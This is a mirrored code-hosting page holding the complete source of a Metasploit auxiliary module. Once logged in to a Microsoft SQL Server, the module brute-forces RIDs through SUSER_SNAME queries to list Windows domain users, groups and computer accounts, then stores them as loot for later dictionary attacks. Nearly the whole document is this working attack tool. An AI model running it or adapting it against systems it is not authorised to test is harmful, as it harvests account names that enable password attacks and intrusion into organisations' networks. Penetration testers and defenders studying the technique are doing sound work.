Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

mssql_enum_domain_accounts.rb 6.9KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'msf/core/exploit/mssql_commands'
  7. class MetasploitModule < Msf::Auxiliary
  8. include Msf::Exploit::Remote::MSSQL
  9. include Msf::Auxiliary::Report
  10. def initialize(info = {})
  11. super(update_info(info,
  12. 'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
  13. 'Description' => %q{
  14. This module can be used to bruteforce RIDs associated with the domain of the SQL Server
  15. using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
  16. through SQL Server queries as any user with the PUBLIC role (everyone). Information that
  17. can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated
  18. accounts can then be used in online dictionary attacks.
  19. },
  20. 'Author' =>
  21. [
  22. 'nullbind <scott.sutherland[at]netspi.com>',
  23. 'antti <antti.rantasaari[at]netspi.com>'
  24. ],
  25. 'License' => MSF_LICENSE,
  26. 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
  27. ))
  28. register_options(
  29. [
  30. OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]),
  31. ], self.class)
  32. end
  33. def run
  34. # Check connection and issue initial query
  35. print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
  36. if mssql_login_datastore
  37. print_good('Connected.')
  38. else
  39. print_error('Login was unsuccessful. Check your credentials.')
  40. disconnect
  41. return
  42. end
  43. # Get the server name
  44. sql_server_name = get_sql_server_name
  45. print_status("SQL Server Name: #{sql_server_name}")
  46. # Get the domain name
  47. sql_server_domain = get_windows_domain
  48. if sql_server_domain.nil?
  49. print_error("Could not recover the SQL Server's domain.")
  50. disconnect
  51. return
  52. else
  53. print_status("Domain Name: #{sql_server_domain}")
  54. end
  55. # Check if the domain and hostname are the same
  56. if sql_server_name == sql_server_domain
  57. print_error("The SQL Server does not appear to be part of a Windows domain.")
  58. disconnect
  59. return
  60. end
  61. # Get the base sid for the domain
  62. windows_domain_sid = get_windows_domain_sid(sql_server_domain)
  63. if windows_domain_sid.nil?
  64. print_error("Could not recover the SQL Server's domain sid.")
  65. disconnect
  66. return
  67. else
  68. print_good("Found the domain sid: #{windows_domain_sid}")
  69. end
  70. # Get a list of windows users, groups, and computer accounts using SUSER_NAME()
  71. print_status("Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")
  72. win_domain_user_list = get_win_domain_users(windows_domain_sid)
  73. disconnect
  74. if win_domain_user_list.nil? || win_domain_user_list.empty?
  75. print_error('Sorry, no Windows domain accounts were found, or DC could not be contacted.')
  76. return
  77. end
  78. # Print number of objects found and write to a file
  79. print_good("#{win_domain_user_list.length} user accounts, groups, and computer accounts were found.")
  80. win_domain_user_list.sort.each do |windows_login|
  81. vprint_status(" - #{windows_login}")
  82. end
  83. # Create table for report
  84. windows_domain_login_table = Rex::Text::Table.new(
  85. 'Header' => 'Windows Domain Accounts',
  86. 'Ident' => 1,
  87. 'Columns' => ['name']
  88. )
  89. # Add brute forced names to table
  90. win_domain_user_list.each do |object_name|
  91. windows_domain_login_table << [object_name]
  92. end
  93. # Create output file
  94. this_service = report_service(
  95. :host => rhost,
  96. :port => rport,
  97. :name => 'mssql',
  98. :proto => 'tcp'
  99. )
  100. file_name = "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv"
  101. path = store_loot(
  102. 'mssql.domain.accounts',
  103. 'text/plain',
  104. datastore['RHOST'],
  105. windows_domain_login_table.to_csv,
  106. file_name,
  107. 'Domain Users enumerated through SQL Server',
  108. this_service)
  109. print_status("Query results have been saved to: #{path}")
  110. end
  111. # Get list of windows accounts,groups,and computer accounts
  112. def get_win_domain_users(windows_domain_sid)
  113. # Create array to store the windws accounts etc
  114. windows_logins = []
  115. # Fuzz the principal_id parameter passed to the SUSER_NAME function
  116. (500..datastore['FuzzNum']).each do |principal_id|
  117. # Convert number to hex and fix order
  118. principal_id_hex = "%02X" % principal_id
  119. principal_id_hex_pad = (principal_id_hex.size.even? ? principal_id_hex : ("0"+ principal_id_hex))
  120. principal_id_clean = principal_id_hex_pad.scan(/(..)/).reverse.flatten.join
  121. # Add padding
  122. principal_id_hex_padded2 = principal_id_clean.ljust(8, '0')
  123. # Create full sid
  124. win_sid = "0x#{windows_domain_sid}#{principal_id_hex_padded2}"
  125. # Return if sid does not resolve correctly for a domain
  126. if win_sid.length < 48
  127. return nil
  128. end
  129. # Setup query
  130. sql = "SELECT SUSER_SNAME(#{win_sid}) as name"
  131. # Execute query
  132. result = mssql_query(sql)
  133. # Parse results
  134. parse_results = result[:rows]
  135. windows_login = parse_results[0][0]
  136. # Print account,group,or computer account etc
  137. if windows_login.length != 0
  138. print_status(" - #{windows_login}")
  139. vprint_status("Test sid: #{win_sid}")
  140. end
  141. # Add to windows domain object list
  142. windows_logins.push(windows_login) unless windows_logins.include?(windows_login)
  143. end
  144. # Return list of logins
  145. windows_logins
  146. end
  147. # Get windows domain
  148. def get_windows_domain
  149. # Setup query to check the domain
  150. sql = "SELECT DEFAULT_DOMAIN() as mydomain"
  151. # Run query
  152. result = mssql_query(sql)
  153. # Parse query results
  154. parse_results = result[:rows]
  155. sql_server_domain = parse_results[0][0]
  156. # Return domain
  157. sql_server_domain
  158. end
  159. # Get the sql server's hostname
  160. def get_sql_server_name
  161. # Setup query to check the server name
  162. sql = "SELECT @@servername"
  163. # Run query
  164. result = mssql_query(sql)
  165. # Parse query results
  166. parse_results = result[:rows]
  167. sql_instance_name = parse_results[0][0]
  168. sql_server_name = sql_instance_name.split('\\')[0]
  169. # Return servername
  170. sql_server_name
  171. end
  172. # Get windows domain
  173. def get_windows_domain_sid(sql_server_domain)
  174. # Set group
  175. domain_group = "#{sql_server_domain}\\Domain Admins"
  176. # Setup query to check the Domain SID
  177. sql = "select SUSER_SID('#{domain_group}') as dasid"
  178. # Run query
  179. result = mssql_query(sql)
  180. # Parse query results
  181. parse_results = result[:rows]
  182. object_sid = parse_results[0][0]
  183. domain_sid = object_sid[0..47]
  184. # Return if sid does not resolve for a domain
  185. if domain_sid.length == 0
  186. return nil
  187. end
  188. # Return domain sid
  189. domain_sid
  190. end
  191. end